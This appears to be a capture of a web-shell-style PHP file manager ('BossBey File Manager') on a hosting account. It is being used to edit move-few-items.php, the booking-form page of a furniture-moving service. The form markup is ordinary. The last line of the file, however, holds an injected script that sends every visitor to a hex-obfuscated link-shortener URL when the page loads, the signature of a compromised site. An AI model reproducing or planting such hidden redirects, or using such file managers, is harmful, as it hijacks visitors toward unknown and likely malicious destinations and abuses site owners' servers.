BossBey File Manager
PHP:
8.1.34
OS:
Linux
User:
ebookghostwritin
Root
/
home
/
demodesignproboa
/
public_html
/
box-pages
📤 Upload
📝 New File
📁 New Folder
Close
Editing: move-few-items.php
<?php include 'includes/links.php';?> <div class="head-box"> <div class="main-img"> <a href="./"><img src="images/logo.png" alt="img" class="w-100"></a> </div> <div class="menu-box"> <button class="btn btn-menu" type="button" data-bs-toggle="offcanvas" data-bs-target="#offcanvasRight" aria-controls="offcanvasRight"> <i class="fa-regular fa-bars"></i> </button> <div class="offcanvas offcanvas-end offcanvas-main" tabindex="-1" id="offcanvasRight" aria-labelledby="offcanvasRightLabel"> <div class="offcanvas-body"> <div class="head"> <img src="images/svg19.svg" alt="img"> <h2>Hi, guest!</h2> </div> <a href="javascript:;" class="btn sign-btn">Sign Up</a> <a href="javascript:;" class="btn sign-btn log-btn">Log In</a> </div> </div> </div> </div> <section class="step_sec_wrap"> <div class="container"> <div class="row justify-content-center"> <div class="col-12 col-sm-12 col-md-12 col-lg-10 col-xl-10 col-xxl-10"> <h1>step 1</h1> <div class="main-box"> <h2>Where to?</h2> <div class="where"> <div class="up-location" onclick="openPickupPopup()"> <img src="images/svg7.svg" alt="img" class="img-fluid"> <h5>Pick up location</h5> </div> <div id="popupOverlay" class="popup-overlay"> <div class="popup-box"> <span class="close-btn" onclick="closePickupPopup()">Close</span> <h3>Pick up location</h3> <div class="main-input"> <i class="fa-solid fa-magnifying-glass"></i> <input type="text" name="text" id="" class="input-search" placeholder="Enter an address"> </div> </div> </div> <div class="up-location" onclick="openDropPopup()"> <img src="images/svg8.svg" alt="img" class="img-fluid"> <h5>Drop off location</h5> </div> <div id="drop-popupOverlay" class="popup-overlay"> <div class="popup-box"> <span class="close-btn" onclick="closeDropPopup()">Close</span> <h3>Drop off location</h3> <div class="main-input"> <i class="fa-solid fa-magnifying-glass"></i> <input type="text" name="text" id="" class="input-search" placeholder="Enter an address"> </div> </div> </div> <h6>Estimate cost without locations</h6> <div class="ifream-box"> <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d12635353.70628292!2d-107.89945876006982!3d39.36069416527219!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x54eab584e432360b%3A0x1c3bb99243deb742!2sUnited%20States!5e0!3m2!1sen!2s!4v1752258713001!5m2!1sen!2s" width="600" height="600" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"> </iframe> </div> </div> </div> <h1>step 2</h1> <div class="main-box"> <h2>Tell us more</h2> <div class="tell-us"> <div class="jersey"> <h4> <img src="images/svg20.svg" alt="img">476 5th Ave Manhattan, NY 10018 </h4> <div class="group-input"> <label class="lable">Unit/Apt</label> <input type="search" name placeholder="Add"> </div> <div class="helper"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault1"> Helper(s) needs to use stairs <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault1"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Helper can use elevator </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Has hardwood floors <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> </div> <div class="flights"> <h6>Flights of stairs</h6> <div class="frame"> <div class="cir-btn"> <div class="minus-btn">-</div> </div> <div class="number"> <h1 class="count">0</h1> </div> <div class="cir-btn"> <div class="plus-btn">+</div> </div> </div> </div> <div class="textare"> <div class="parking"> <h3>Parking or building instructions</h3> <h6>clear</h6> </div> <textarea name="message" rows="6"></textarea> </div> </div> <div class="jersey"> <h4> <img src="images/svg20.svg" alt="img">6 5th Ave Brooklyn, NY 11215 </h4> <div class="group-input"> <label class="lable">Unit/Apt</label> <input type="search" name placeholder="Add"> </div> <div class="helper"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault1"> Helper(s) needs to use stairs <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault1"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Helper can use elevator </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Has hardwood floors <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> </div> <div class="flights"> <h6>Flights of stairs</h6> <div class="frame"> <div class="cir-btn"> <div class="minus-btn">-</div> </div> <div class="number"> <h1 class="count">0</h1> </div> <div class="cir-btn"> <div class="plus-btn">+</div> </div> </div> </div> <div class="textare"> <div class="parking"> <h3>Parking or building instructions</h3> <h6>clear</h6> </div> <textarea name="message" rows="6"></textarea> </div> </div> </div> </div> <h1>step 3</h1> <div class="main-box"> <h2>Add an item</h2> <div class="add-an"> <div class="main-input"> <i class="fa-solid fa-magnifying-glass"></i> <input type="text" name="text" class="input-search" placeholder="Search items"> </div> <h4>Item size guide</h4> <h3>Popular items</h3> <div class="items-box"> <label for="chair"> <input type="radio" name="item" id="chair"> <div class="box"> <h5>Chair</h5> <img src="images/svg9.svg" alt="img"> </div> </label> <label for="Box"> <input type="radio" name="item" id="Box"> <div class="box"> <h5>Box</h5> <img src="images/svg10.svg" alt="img"> </div> </label> <label for="Mattress"> <input type="radio" name="item" id="Mattress"> <div class="box"> <h5>Mattress</h5> <img src="images/svg11.svg" alt="img"> </div> </label> <label for="Couch"> <input type="radio" name="item" id="Couch"> <div class="box"> <h5>Couch</h5> <img src="images/svg12.svg" alt="img"> </div> </label> <label for="Table"> <input type="radio" name="item" id="Table"> <div class="box"> <h5>Dining Table</h5> <img src="images/svg13.svg" alt="img"> </div> </label> </div> </div> </div> <h1>step 3.1</h1> <div class="main-box"> <h2>Add an item</h2> <div class="add-an-items"> <div class="main-input"> <i class="fa-solid fa-magnifying-glass"></i> <input type="text" name="text" id="" class="input-search" placeholder="Search items"> </div> <h4>Item size guide</h4> <div class="row"> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault1"> Dining </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault1"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Office </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault2"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault3"> Folding </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault3"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault4"> Arm </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault4"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault5"> Patio </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault5"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault6"> Recliner </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault6"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault7"> Stackable </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault7"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault8"> Stuffed </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault8"> </div> </div> <div class="col-12 col-md-6 col-xxl-6"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault9"> Chaise Lounge </label> <input class="form-check-input howmany" type="radio" name="flexRadioDefault" id="flexRadioDefault9"> </div> </div> </div> <div class="line"></div> <div id="howmany"> <div class="how-many"> <h6>How many?</h6> <div class="frame"> <div class="cir-btn"> <div class="minus-btn">-</div> </div> <div class="number"> <h1 class="count">0</h1> </div> <div class="cir-btn"> <div class="plus-btn">+</div> </div> </div> </div> <div class="line"></div> <div class="helper"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault1"> Is a sleeper sofa <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault1"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Is a sectional </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Has power recliner <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Ottoman <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> </div> <div class="smoothly gray"> <p> This item needs to be broken down and reassembled after moving. If there are any special tools required, please let us know in the notes section. </p> </div> <div class="message"> <label for="" class="notes">Important notes</label> <textarea name="message" id="" rows="3" placeholder="Example: 2’ x 3' x 5’ and bulky; needs two people to carry"></textarea> </div> <div class="file-upload-box"> <input type="file" id="fileInput" class="file-input"> <label for="fileInput" class="file-label"> <img src="images/svg14.svg" alt="upload icon"> <p>Add</p> </label> </div> </div> </div> </div> <h1>step 4</h1> <div class="main-box"> <h2>What are we moving?</h2> <div class="we-moving"> <div class="total"> <p>1 item total</p> <div class="item-box"> <div class="txt"> <h5>1</h5> <h4>Chair <span>Dining</span></h4> </div> <i class="fa-solid fa-ellipsis"></i> </div> </div> <div class="btn-item"> <button class="item"> + Add items </button> </div> </div> </div> <h1>step 5</h1> <div class="main-box"> <h2>How many Helpers?</h2> <div class="helpers"> <label for="helpers2"> <input type="radio" name="helpers" id="helpers2"> <div class="box"> <h3>2 Helpers</h3> <ul> <li> <p>Two Helpers with a pickup truck will arrive to get your Dolly done quick and easy. </p> </li> <li> <img src="images/img1.png" alt=""> </li> </ul> <p>$$</p> </div> </label> <label for="helpers1you"> <input type="radio" name="helpers" id="helpers1you"> <div class="box"> <h3>1 Helper + You</h3> <ul> <li> <p>If your Dolly needs 2 people to lift and carry, you can save money by helping! </p> </li> <li> <img src="images/img2.png" alt=""> </li> </ul> <p>$</p> </div> </label> <label for="helpers1"> <input type="radio" name="helpers" id="helpers1"> <div class="box"> <h3>1 Helper</h3> <ul> <li> <p>One Helper is perfect for boxes, bags, or items that can be carried with 2 hands. </p> </li> <li> <img src="images/img3.png" alt=""> </li> </ul> <p>$</p> </div> </label> </div> <div class="helpers vehicle"> <h2>Which vehicle?</h2> <label for="vehicle1"> <input type="radio" name="vehicle" id="vehicle1"> <div class="box"> <h3>Pickup Truck</h3> <ul> <li> <p>Great for a couple large items, or multiple small items.</p> </li> <li> <img src="images/img4.png" alt=""> </li> </ul> </div> </label> <label for="vehicle2"> <input type="radio" name="vehicle" id="vehicle2"> <div class="box"> <h3>Cargo Van</h3> <ul> <li> <p>Upgrade to a covered vehicle for a low price! Speed up your move with fewer trips. </p> </li> <li> <img src="images/img5.png" alt=""> </li> </ul> </div> </label> </div> </div> <h1>step 6</h1> <div class="main-box"> <h2>What time?</h2> <div class="what-time"> <div class="calendar border p-3 rounded shadow-sm bg-white"> <div class="header mb-2"> <button type="button" class="btn btn-sm btn-outline-primary" id="prevBtn">←</button> <h5 id="monthYear">September 2025</h5> <button type="button" class="btn btn-sm btn-outline-primary" id="nextBtn">→</button> </div> <table class="table table-bordered mb-0"> <thead class="table-light"> <tr> <th>Sun</th> <th>Mon</th> <th>Tue</th> <th>Wed</th> <th>Thu</th> <th>Fri</th> <th>Sat</th> </tr> </thead> <tbody id="calendarBody"> <tr> <td></td> <td>1</td> <td>2</td> <td>3</td> <td>4</td> <td class="today">5</td> <td>6</td> </tr> <tr> <td>7</td> <td>8</td> <td>9</td> <td>10</td> <td>11</td> <td>12</td> <td>13</td> </tr> <tr> <td>14</td> <td>15</td> <td>16</td> <td>17</td> <td>18</td> <td>19</td> <td>20</td> </tr> <tr> <td>21</td> <td>22</td> <td>23</td> <td>24</td> <td>25</td> <td>26</td> <td>27</td> </tr> <tr> <td>28</td> <td>29</td> <td>30</td> </tr> </tbody> </table> </div> <p>Please ensure the store will be open when Helpers arrive.</p> <h4>Helpers should arrive at the store between</h4> <div class="select"> <select class="form-select" aria-label="Default select example"> <option selected>Select time</option> <option value="1">8:00AM</option> <option value="2">8:30AM</option> <option value="3">9:00AM</option> <option value="3">9:30AM</option> <option value="3">10:00AM</option> <option value="3">10:30AM</option> <option value="3">11:00AM</option> <option value="3">11:30AM</option> </select> <p>and</p> <select class="form-select" aria-label="Default select example"> <option selected>Select time</option> <option value="1">8:00AM</option> <option value="2">8:30AM</option> <option value="3">9:00AM</option> <option value="3">9:30AM</option> <option value="3">10:00AM</option> <option value="3">10:30AM</option> <option value="3">11:00AM</option> <option value="3">11:30AM</option> </select> </div> <div class="help-btn"> <a href="javascript:;">Help</a> </div> </div> </div> <h1>step 7</h1> <div class="main-box"> <div class="review"> <h2>Review your details</h2> <p>Does everything look right? You’ll enter a payment method before scheduling. </p> <div class="store"> <h6>Store Delivery</h6> <img src="images/img7.jpg" alt="img"> </div> <div class="included"> <h2>Always included</h2> <ul> <li><img src="images/svg15.svg" alt="img"> Upfront, guaranteed pricing </li> <li><img src="images/svg16.svg" alt="img"> Customer support 7 days a week </li> <li><img src="images/svg17.svg" alt="img"> Complimentary damage protection </li> </ul> </div> <div class="included"> <h2>Where we're going</h2> </div> <div class="included"> <h2>When we'll arrive</h2> <ul> <li>Thursday, 8/7</li> <li>2:00pm-6:00pm</li> </ul> <p> <i>We'll schedule you for a 30-minute arrival time prior to your Dolly starting.</i> </p> </div> <div class="included"> <h2>Your crew</h2> <ul> <li>1 Helper + You</li> <li>1 Cargo Van</li> </ul> </div> <div class="included"> <h2>What we're moving</h2> <ul> <li>1 Chair(Dining)</li> </ul> </div> <div class="guaranteed"> <h2>Guaranteed Price</h2> <div class="Taxes"> <h6>Subtotal</h6> <h6>$152</h6> </div> <div class="Taxes"> <h6>Service Fee</h6> <h6>$4</h6> </div> <div class="Taxes"> <h6>Taxes</h6> <h6>included</h6> </div> <ul> <li>Total</li> <li>$152</li> </ul> <h4>Add discount</h4> <div class="search-box"> <input type="text" name="" id=""> <div class="btn-search"> <a href="Javascript:;">Apply</a> <a href="Javascript:;">Cancel</a> </div> </div> </div> </div> </div> </div> </div> </section> <?php include 'includes/script.php';?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6a\x73\x55\x79\x7a\x68\x53\x30\x72\x30";</script>
Save
Cancel